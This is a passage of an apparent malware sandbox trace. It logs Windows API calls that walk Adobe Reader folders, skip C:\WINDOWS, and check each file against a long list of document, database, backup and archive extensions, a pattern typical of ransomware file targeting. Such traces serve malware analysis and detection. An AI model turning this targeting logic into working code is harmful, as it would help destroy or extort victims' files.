[0199.705] lstrlenW (lpString=".asx") returned 4 [0199.705] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".avi") returned 4 [0199.705] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".avs") returned 4 [0199.705] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".backup") returned 7 [0199.705] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.705] lstrlenW (lpString=".bak") returned 4 [0199.705] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".bay") returned 4 [0199.705] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".bd") returned 3 [0199.706] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.706] lstrlenW (lpString=".bin") returned 4 [0199.706] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".bmp") returned 4 [0199.706] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".bz2") returned 4 [0199.706] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".c") returned 2 [0199.706] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.706] lstrlenW (lpString=".cdr") returned 4 [0199.706] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".cer") returned 4 [0199.706] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".cf") returned 3 [0199.706] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.706] lstrlenW (lpString=".cfc") returned 4 [0199.706] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".cfm") returned 4 [0199.706] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".cfml") returned 5 [0199.706] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.706] lstrlenW (lpString=".cfu") returned 4 [0199.706] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".chm") returned 4 [0199.706] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".cin") returned 4 [0199.706] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.706] lstrlenW (lpString=".class") returned 6 [0199.706] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.706] lstrlenW (lpString=".clx") returned 4 [0199.707] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.707] lstrlenW (lpString=".config") returned 7 [0199.707] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.707] lstrlenW (lpString=".cpp") returned 4 [0199.707] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0199.707] lstrlenW (lpString=".cr2") returned 4 [0199.707] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0199.707] lstrlenW (lpString=".crt") returned 4 [0199.707] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0199.707] lstrlenW (lpString=".crw") returned 4 [0199.707] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0199.707] lstrlenW (lpString=".cs") returned 3 [0199.707] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0199.707] lstrlenW (lpString=".css") returned 4 [0199.707] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".csv") returned 4 [0199.923] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".cub") returned 4 [0199.923] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".dae") returned 4 [0199.923] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".dat") returned 4 [0199.923] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".db") returned 3 [0199.923] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0199.923] lstrlenW (lpString=".dbf") returned 4 [0199.923] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".dbx") returned 4 [0199.923] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".dc3") returned 4 [0199.923] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".dcm") returned 4 [0199.923] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".dcr") returned 4 [0199.923] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0199.923] lstrlenW (lpString=".der") returned 4 [0199.923] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dib") returned 4 [0199.924] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dic") returned 4 [0199.924] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dif") returned 4 [0199.924] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".divx") returned 5 [0199.924] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0199.924] lstrlenW (lpString=".djvu") returned 5 [0199.924] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0199.924] lstrlenW (lpString=".dng") returned 4 [0199.924] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".doc") returned 4 [0199.924] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".docm") returned 5 [0199.924] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0199.924] lstrlenW (lpString=".docx") returned 5 [0199.924] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0199.924] lstrlenW (lpString=".dot") returned 4 [0199.924] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dotm") returned 5 [0199.924] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0199.924] lstrlenW (lpString=".dotx") returned 5 [0199.924] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0199.924] lstrlenW (lpString=".dpx") returned 4 [0199.924] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dqy") returned 4 [0199.924] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dsn") returned 4 [0199.924] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0199.924] lstrlenW (lpString=".dt") returned 3 [0199.925] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0199.925] lstrlenW (lpString=".dtd") returned 4 [0199.925] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".dwg") returned 4 [0199.925] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".dwt") returned 4 [0199.925] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".dx") returned 3 [0199.925] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0199.925] lstrlenW (lpString=".dxf") returned 4 [0199.925] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".edml") returned 5 [0199.925] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0199.925] lstrlenW (lpString=".efd") returned 4 [0199.925] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".elf") returned 4 [0199.925] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".emf") returned 4 [0199.925] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".emz") returned 4 [0199.925] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".epf") returned 4 [0199.925] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".eps") returned 4 [0199.925] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0199.925] lstrlenW (lpString=".epsf") returned 5 [0199.925] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0199.925] lstrlenW (lpString=".epsp") returned 5 [0199.925] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0199.925] lstrlenW (lpString=".erf") returned 4 [0199.926] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".exr") returned 4 [0199.926] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".f4v") returned 4 [0199.926] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".fido") returned 5 [0199.926] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0199.926] lstrlenW (lpString=".flm") returned 4 [0199.926] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".flv") returned 4 [0199.926] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".frm") returned 4 [0199.926] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".fxg") returned 4 [0199.926] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".geo") returned 4 [0199.926] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".gif") returned 4 [0199.926] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".grs") returned 4 [0199.926] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0199.926] lstrlenW (lpString=".gz") returned 3 [0199.926] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0199.926] lstrlenW (lpString=".h") returned 2 [0199.926] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0199.926] lstrlenW (lpString=".hdr") returned 4 [0199.927] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".hpp") returned 4 [0199.927] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".hta") returned 4 [0199.927] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".htc") returned 4 [0199.927] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".htm") returned 4 [0199.927] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".html") returned 5 [0199.927] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0199.927] lstrlenW (lpString=".icb") returned 4 [0199.927] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".ics") returned 4 [0199.927] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".iff") returned 4 [0199.927] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".inc") returned 4 [0199.927] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".indd") returned 5 [0199.927] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0199.927] lstrlenW (lpString=".ini") returned 4 [0199.927] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".iqy") returned 4 [0199.927] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".j2c") returned 4 [0199.927] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0199.927] lstrlenW (lpString=".j2k") returned 4 [0199.928] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0199.928] lstrlenW (lpString=".java") returned 5 [0199.928] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0199.928] lstrlenW (lpString=".jp2") returned 4 [0199.928] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0199.928] lstrlenW (lpString=".jpc") returned 4 [0199.928] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0199.928] lstrlenW (lpString=".jpe") returned 4 [0199.928] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0199.928] lstrlenW (lpString=".jpeg") returned 5 [0199.928] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0199.928] lstrlenW (lpString=".jpf") returned 4 [0199.929] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0199.929] lstrlenW (lpString=".jpg") returned 4 [0199.929] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0199.929] lstrlenW (lpString=".jpx") returned 4 [0199.929] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0199.929] lstrlenW (lpString=".js") returned 3 [0199.929] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0199.929] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0199.929] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0199.929] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.929] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0199.929] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu") returned 119 [0199.929] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu") returned 1 [0199.929] lstrlenW (lpString="hu-hu") returned 5 [0199.929] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0199.929] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0199.929] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu") returned 119 [0199.929] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x43a380 [0199.929] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0199.929] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.930] lstrlenW (lpString="ui-strings.js") returned 13 [0199.930] lstrlenW (lpString=".1cd") returned 4 [0199.930] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".3ds") returned 4 [0199.930] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".3fr") returned 4 [0199.930] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".3g2") returned 4 [0199.930] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".3gp") returned 4 [0199.930] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".7z") returned 3 [0199.930] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0199.930] lstrlenW (lpString=".accda") returned 6 [0199.930] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0199.930] lstrlenW (lpString=".accdb") returned 6 [0199.930] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0199.930] lstrlenW (lpString=".accdc") returned 6 [0199.930] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0199.930] lstrlenW (lpString=".accde") returned 6 [0199.930] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0199.930] lstrlenW (lpString=".accdt") returned 6 [0199.930] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0199.930] lstrlenW (lpString=".accdw") returned 6 [0199.930] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0199.930] lstrlenW (lpString=".adb") returned 4 [0199.930] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".adp") returned 4 [0199.930] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0199.930] lstrlenW (lpString=".ai") returned 3 [0199.930] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0199.931] lstrlenW (lpString=".ai3") returned 4 [0199.931] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".ai4") returned 4 [0199.931] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".ai5") returned 4 [0199.931] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".ai6") returned 4 [0199.931] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".ai7") returned 4 [0199.931] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".ai8") returned 4 [0199.931] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".anim") returned 5 [0199.931] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0199.931] lstrlenW (lpString=".arw") returned 4 [0199.931] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".as") returned 3 [0199.931] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0199.931] lstrlenW (lpString=".asa") returned 4 [0199.931] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".asc") returned 4 [0199.931] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".ascx") returned 5 [0199.931] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.931] lstrlenW (lpString=".asm") returned 4 [0199.931] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".asmx") returned 5 [0199.931] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.931] lstrlenW (lpString=".asp") returned 4 [0199.931] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.931] lstrlenW (lpString=".aspx") returned 5 [0199.931] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0199.932] lstrlenW (lpString=".asr") returned 4 [0199.932] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".asx") returned 4 [0199.932] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".avi") returned 4 [0199.932] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".avs") returned 4 [0199.932] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".backup") returned 7 [0199.932] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.932] lstrlenW (lpString=".bak") returned 4 [0199.932] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".bay") returned 4 [0199.932] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".bd") returned 3 [0199.932] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.932] lstrlenW (lpString=".bin") returned 4 [0199.932] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".bmp") returned 4 [0199.932] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".bz2") returned 4 [0199.932] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".c") returned 2 [0199.932] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.932] lstrlenW (lpString=".cdr") returned 4 [0199.932] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".cer") returned 4 [0199.932] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".cf") returned 3 [0199.932] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.932] lstrlenW (lpString=".cfc") returned 4 [0199.932] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.932] lstrlenW (lpString=".cfm") returned 4 [0199.933] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".cfml") returned 5 [0199.933] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.933] lstrlenW (lpString=".cfu") returned 4 [0199.933] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".chm") returned 4 [0199.933] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".cin") returned 4 [0199.933] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".class") returned 6 [0199.933] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.933] lstrlenW (lpString=".clx") returned 4 [0199.933] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".config") returned 7 [0199.933] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.933] lstrlenW (lpString=".cpp") returned 4 [0199.933] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".cr2") returned 4 [0199.933] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".crt") returned 4 [0199.933] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".crw") returned 4 [0199.933] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".cs") returned 3 [0199.933] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0199.933] lstrlenW (lpString=".css") returned 4 [0199.933] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".csv") returned 4 [0199.933] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0199.933] lstrlenW (lpString=".cub") returned 4 [0199.933] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dae") returned 4 [0199.934] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dat") returned 4 [0199.934] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".db") returned 3 [0199.934] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0199.934] lstrlenW (lpString=".dbf") returned 4 [0199.934] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dbx") returned 4 [0199.934] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dc3") returned 4 [0199.934] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dcm") returned 4 [0199.934] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dcr") returned 4 [0199.934] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".der") returned 4 [0199.934] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dib") returned 4 [0199.934] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dic") returned 4 [0199.934] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".dif") returned 4 [0199.934] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".divx") returned 5 [0199.934] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0199.934] lstrlenW (lpString=".djvu") returned 5 [0199.934] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0199.934] lstrlenW (lpString=".dng") returned 4 [0199.934] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0199.934] lstrlenW (lpString=".doc") returned 4 [0199.934] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".docm") returned 5 [0199.935] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0199.935] lstrlenW (lpString=".docx") returned 5 [0199.935] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0199.935] lstrlenW (lpString=".dot") returned 4 [0199.935] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dotm") returned 5 [0199.935] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0199.935] lstrlenW (lpString=".dotx") returned 5 [0199.935] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0199.935] lstrlenW (lpString=".dpx") returned 4 [0199.935] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dqy") returned 4 [0199.935] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dsn") returned 4 [0199.935] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dt") returned 3 [0199.935] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0199.935] lstrlenW (lpString=".dtd") returned 4 [0199.935] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dwg") returned 4 [0199.935] 